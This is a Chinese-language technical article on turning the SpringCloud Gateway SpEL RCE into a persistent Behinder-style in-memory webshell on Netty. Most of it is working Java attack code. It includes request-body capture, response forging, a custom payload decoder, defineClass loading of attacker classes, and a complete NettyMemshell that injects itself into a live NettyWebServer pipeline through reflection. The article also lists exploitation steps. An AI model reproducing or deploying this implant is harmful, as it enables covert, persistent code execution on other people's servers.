SpringCloud GateWay SPEL RCE适配Netty冰蝎内存马
字数 1026 2025-08-07 00:35:04
SpringCloud Gateway SPEL RCE适配Netty冰蝎内存马技术分析
0x00 前言
本文详细分析SpringCloud Gateway SPEL RCE漏洞在Netty环境下适配冰蝎内存马的技术实现,重点解决以下关键问题:
- Netty环境下request中完整body的获取
- Netty环境下response的获取与处理
- 冰蝎服务端在Netty环境下的适配
- 冰蝎客户端的必要修改
0x01 环境说明
测试环境使用SpringCloud Gateway v3.1.0版本
0x02 漏洞复现步骤
- 添加路由:通过SPEL表达式注入恶意路由
- 刷新路由:触发路由更新
- 访问路由:执行注入的恶意代码
0x03 技术适配详解
0x03.1 Request获取的难点与解决方案
关键问题
- Netty中HttpRequest和HttpContent是分开处理的
- POST数据包body过大时会被分片传输
解决方案代码
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
String msgClassName = msg.getClass().getName();
if(msgClassName.indexOf("DefaultHttpContent")!=-1){
DefaultHttpContent defaultHttpContent = (DefaultHttpContent)msg;
int bodyLength = defaultHttpContent.content().readableBytes();
byte[] bytes = new byte[bodyLength];
defaultHttpContent.content().readBytes(bytes);
String requestMessage = new String(bytes);
this.result = this.result + requestMessage;
}else if (msgClassName.indexOf("DefaultLastHttpContent")!=-1){
DefaultLastHttpContent defaultLastHttpContent = (DefaultLastHttpContent)msg;
int bodyLength = defaultLastHttpContent.content().readableBytes();
byte[] bytes = new byte[bodyLength];
defaultLastHttpContent.content().readBytes(bytes);
String requestMessage = new String(bytes);
this.result = this.result + requestMessage;
this.send(ctx,this.result);
return;
}
ctx.fireChannelRead(msg);
}
关键点
- 使用
DefaultHttpContent处理分片的body内容 - 使用
DefaultLastHttpContent识别body结束并触发处理 - 拼接所有分片内容获取完整请求体
0x03.2 Response处理方案
关键问题
- Netty的Response不继承自
javax.servlet.ServletResponse - 需要特殊处理回显写入
解决方案代码
private void send(ChannelHandlerContext ctx, String message) throws Exception {
// 获取必要的Netty HTTP相关类
Class<?> httpObjectClass = loadClass("io.netty.handler.codec.http.HttpVersion");
Class<?> responseStatuClass = loadClass("io.netty.handler.codec.http.HttpResponseStatus");
Class<?> byteBufferClass = loadClass("io.netty.buffer.ByteBuf");
Class<?> responseClass = loadClass("io.netty.handler.codec.http.DefaultFullHttpResponse");
Class<?> unpooledClass = loadClass("io.netty.buffer.Unpooled");
// 反射构造Response对象
Field httpField = httpObjectClass.getDeclaredField("HTTP_1_1");
httpField.setAccessible(true);
Object httpObject = httpField.get(null);
Field httpStatuField = responseStatuClass.getField("OK");
httpStatuField.setAccessible(true);
Object httpStatuObject = httpStatuField.get(null);
Method copiedBufferMethod = unpooledClass.getDeclaredMethod("copiedBuffer",
new Class[]{java.lang.CharSequence.class, Charset.class});
Object bufObject = copiedBufferMethod.invoke(null,
new Object[]{responseContent, Charset.forName("UTF-8")});
Constructor responseConstructor = responseClass.getDeclaredConstructor(
new Class[]{httpObjectClass, responseStatuClass, byteBufferClass});
Object responseObject = responseConstructor.newInstance(
new Object[]{httpObject, httpStatuObject, bufObject});
// 设置响应头
Method getHeadersMethod = responseObject.getClass().getSuperclass().getSuperclass()
.getDeclaredMethod("headers");
Object headersObject = getHeadersMethod.invoke(responseObject);
Method setHeaderMethod = headersObject.getClass().getSuperclass()
.getDeclaredMethod("set", new Class[]{String.class, Object.class});
setHeaderMethod.invoke(headersObject, new Object[]{"content-type", "text/plain; charset=UTF-8"});
// 写入响应
Method addResponseMethod = ctx.getClass().getDeclaredMethod("writeAndFlush",
new Class[]{Object.class});
addResponseMethod.invoke(ctx, responseObject);
}
0x03.3 冰蝎适配方案
关键修改点
- 增加对Netty Response的类判断
- 修改回显写入方式
适配代码示例
if (Response.getClass().getName().indexOf("netty") != -1) {
// Netty环境下的处理逻辑
Class<?> httpObjectClass = Thread.currentThread().getContextClassLoader()
.loadClass("io.netty.handler.codec.http.HttpVersion");
// ... 其他反射代码同上 ...
} else {
// 传统Servlet环境处理
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true)));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
}
0x03.4 加密与类加载方案
自定义加密实现
private byte[] base64De(String enString) throws Exception {
byte[] bytes;
try {
Class clazz = Class.forName("java.util.Base64");
Method method = clazz.getDeclaredMethod("getDecoder");
Object obj = method.invoke(null);
method = obj.getClass().getDeclaredMethod("decode", String.class);
obj = method.invoke(obj, enString);
bytes = (byte[]) obj;
} catch (ClassNotFoundException e) {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
Method method = clazz.getMethod("decodeBuffer", String.class);
Object obj = method.invoke(clazz.newInstance(), enString);
bytes = (byte[]) obj;
}
return bytes;
}
类加载实现
Method method = ClassLoader.class.getDeclaredMethod("defineClass",
byte[].class, int.class, int.class);
method.setAccessible(true);
String deStr = "";
// 自定义解密逻辑
for(int i=0; i<requestMessage.length(); i=i+2){
String str2 = requestMessage.substring(i,i+2);
char char2 = (char)(Integer.parseInt(str2,16)-1);
deStr = deStr + char2;
}
byte[] contentBytes = base64De(deStr);
((Class)method.invoke(new URLClassLoader(new URL[]{},
this.getClass().getClassLoader()), contentBytes, 0, contentBytes.length))
.newInstance().equals(objects);
0x04 完整Netty内存马实现
import io.netty.buffer.Unpooled;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;
import java.io.IOException;
import java.lang.reflect.*;
import java.net.SocketAddress;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;
import io.netty.channel.*;
public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
String result = "";
public static String doInject() {
String msg = "inject-start";
try {
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke((Object)null);
for(int i = 0; i < Array.getLength(threads); ++i) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
_val$disposableServer.setAccessible(true);
Object val$disposableServer = _val$disposableServer.get(thread);
Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
_config.setAccessible(true);
Object config = _config.get(val$disposableServer);
Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
_doOnChannelInit.setAccessible(true);
_doOnChannelInit.set(config, new NettyMemshell());
msg = "inject-success";
}
}
} catch (Exception var10) {
msg = "inject-error";
}
return msg;
}
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
ChannelPipeline pipeline = channel.pipeline();
pipeline.addBefore("reactor.left.httpTrafficHandler", "memshell_handler", new NettyMemshell());
}
// ... channelRead和send方法实现同上 ...
}
0x05 关键点总结
-
请求处理:
channelRead方法中HttpRequest和DefaultLastHttpContent分两次获取- 大POST请求body会被分片传输,需拼接处理
-
响应处理:
- Netty的Response需要特殊反射处理
- 冰蝎原生写response方法不适用于Netty,需做类判断
-
会话处理:
- Netty环境下没有原生Session对象
- 需要自定义会话管理机制
-
内存马注入:
- 通过修改NettyWebServer的配置注入内存马
- 使用反射机制动态加载恶意类